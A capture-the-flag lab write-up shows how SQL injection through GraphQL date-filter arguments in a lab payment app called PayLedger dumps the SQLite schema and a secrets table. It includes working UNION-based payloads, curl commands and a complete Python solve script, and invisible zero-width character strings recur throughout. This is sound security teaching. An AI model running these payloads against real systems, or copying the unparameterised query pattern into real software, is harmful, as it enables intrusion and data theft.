← Back to Writeups
CUSTOMEasyWeb

Lab 298 — PayLedger — SQL Injection via GraphQL Date Filters

XESXOR9/10/20265 min read
#web#custom#easy#date_parameter_injection#graphql_introspection#sqlite_schema_enumeration#union_based_sqli#linux

Lab 298 — PayLedger — SQL Injection via GraphQL Date Filters

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-05-06 | Status: Solved Techniques: date_parameter_injection, graphql_introspection, sqlite_schema_enumeration, union_based_sqli

Summary

Task: Payment analytics platform with GraphQL API, date filter parameters (fromDate/toDate) passed unsanitized to SQLite query. Solution: Used UNION-based SQL injection through GraphQL fromDate argument to enumerate sqlite_master schema and extract flag from admin_secrets table.

Lab 298 — PayLedger — SQL Injection via GraphQL Date Filters — Hackadvisor

Description

PayLedger is a payment analytics platform built by LedgerFlow Inc. that helps businesses track transactions, manage billing cycles, and generate financial reports. The platform features a GraphQL API powering a dashboard where merchants can view transaction history with customizable date filters, manage API keys for payment integrations, and configure webhook notifications for payment events. As a security researcher, you've been given access to a test merchant account on the PayLedger platform. Your objective is to identify and exploit a vulnerability in the application to retrieve a hidden flag stored somewhere in the system. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: Express.js payment analytics platform with a GraphQL API. The transactionHistory query accepts fromDate and toDate string arguments that are directly interpolated into a SQLite SQL query without parameterization. Goal is to exploit SQL injection to find and extract a hidden flag.

Credentials: user@test.com / password123

Analysis

Initial Reconnaissance

The target is an Express.js application behind an nginx/1.25.5 reverse proxy. The homepage reveals a payment analytics platform with a GraphQL API at /graphql. A simple { __typename } query confirms the endpoint returns Query. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

GraphQL Schema Discovery

Full introspection revealed 6 available queries:

QueryArgumentsNotes
dashboardStatsnoneDashboard statistics
transactionHistoryfromDate: String, toDate: StringInjection target
recentTransactionslimit: IntRecent transactions
apiKeysnoneAPI key management
webhooksnoneWebhook configurations
accountInfononeAccount information

The transactionHistory query accepts fromDate and toDate as String arguments — these are the date filters mentioned in the task title. The fact that they are plain strings (not a custom Date scalar) is a strong hint that they may be directly concatenated into SQL. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

SQL Injection Confirmation

The backend query is approximately:

sql
SELECT * FROM transactions WHERE user_id = ? AND created_at >= '{fromDate}' AND created_at <= '{toDate}'
  • Normal query with fromDate: "2024-01-01", toDate: "2025-12-31" returned 28 transactions
  • Injecting ' OR '1'='1 into fromDate returned ALL 160 transactions — confirming boolean-based SQLi
  • A single quote alone returned empty results (no error message exposed), but the difference in result count confirmed the injection ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Step 1: Authentication

bash
curl -s -c cookies.txt -X POST https://TARGET/login \
  -H "Content-Type: application/json" \
  -d '{"email":"user@test.com","password":"password123"}'

Received session cookie connect.sid for authenticated access.

Step 2: GraphQL Introspection

bash
curl -s -b cookies.txt https://TARGET/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{ __schema { queryType { fields { name args { name type { name kind ofType { name } } } } } } }"}'

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Discovered transactionHistory(fromDate: String, toDate: String) — the injection target.

Step 3: Confirm SQL Injection

bash
# Normal query — 28 results
curl -s -b cookies.txt https://TARGET/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{ transactionHistory(fromDate: \"2024-01-01\", toDate: \"2025-12-31\") { id amount description } }"}'

# SQLi — 160 results (all transactions)
curl -s -b cookies.txt https://TARGET/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{ transactionHistory(fromDate: \"'\\'' OR '\\''1'\\''='\\''1\", toDate: \"2025-12-31\") { id amount description } }"}'

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 4: UNION-based Schema Enumeration

Determined the query returns 7 columns (matching the Transaction GraphQL type: id, amount, description, status, payment_method, reference, created_at).

graphql
{
  transactionHistory(
    fromDate: "' UNION SELECT 1,2,name,type,5,sql,7 FROM sqlite_master --"
    toDate: "x"
  ) {
    id amount description status payment_method reference created_at
  }
}

Discovered tables:

TableKey Columns
admin_secretsid, key, value — target table!
transactionsuser_id, amount, description, status, payment_method, reference, created_at
usersid, company_name, email, password, role, created_at
api_keysUser API keys
webhooksWebhook configurations
invoicesInvoice data
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The admin_secrets table schema:

sql
CREATE TABLE admin_secrets (
  id INTEGER PRIMARY KEY AUTOINCREMENT,
  key TEXT NOT NULL,
  value TEXT NOT NULL
)

Step 5: Flag Extraction

graphql
{
  transactionHistory(
    fromDate: "' UNION SELECT id,1,key,value,'5','6','7' FROM admin_secrets --"
    toDate: "x"
  ) {
    id amount description status payment_method reference created_at
  }
}

Result: key = platform_master_key, value = FLAG{REDACTED}

Full Solve Script

python
#!/usr/bin/env python3
"""Lab 298 — PayLedger — SQL Injection via GraphQL Date Filters"""
import requests
import json
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

TARGET = "https://9b744a1e-af42-4c41-aeae-a0937495b8c3.labs.hackadvisor.io"
s = requests.Session()

# Step 1: Authenticate
s.post(f"{TARGET}/login", json={
    "email": "user@test.com",
    "password": "password123"
})

def graphql(query):
    r = s.post(f"{TARGET}/graphql", json={"query": query})
    return r.json()

# Step 2: Confirm SQLi — boolean-based count difference
normal = graphql('''{ transactionHistory(fromDate: "2024-01-01", toDate: "2025-12-31") { id } }''')
sqli = graphql('''{ transactionHistory(fromDate: "' OR '1'='1", toDate: "2025-12-31") { id } }''')
print(f"Normal: {len(normal['data']['transactionHistory'])} rows")
print(f"SQLi:   {len(sqli['data']['transactionHistory'])} rows")
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Step 3: Enumerate schema via sqlite_master
schema = graphql('''{ transactionHistory(
    fromDate: "' UNION SELECT 1,2,name,type,5,sql,7 FROM sqlite_master --"
    toDate: "x"
) { description status reference } }''')
for row in schema['data']['transactionHistory']:
    if row.get('reference'):
        print(f"Table: {row['description']}, SQL: {row['reference']}")

# Step 4: Extract flag from admin_secrets
flag = graphql('''{ transactionHistory(
    fromDate: "' UNION SELECT id,1,key,value,'5','6','7' FROM admin_secrets --"
    toDate: "x"
) { description status } }''')
for row in flag['data']['transactionHistory']:
    print(f"Key: {row['description']}, Value: {row['status']}")

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍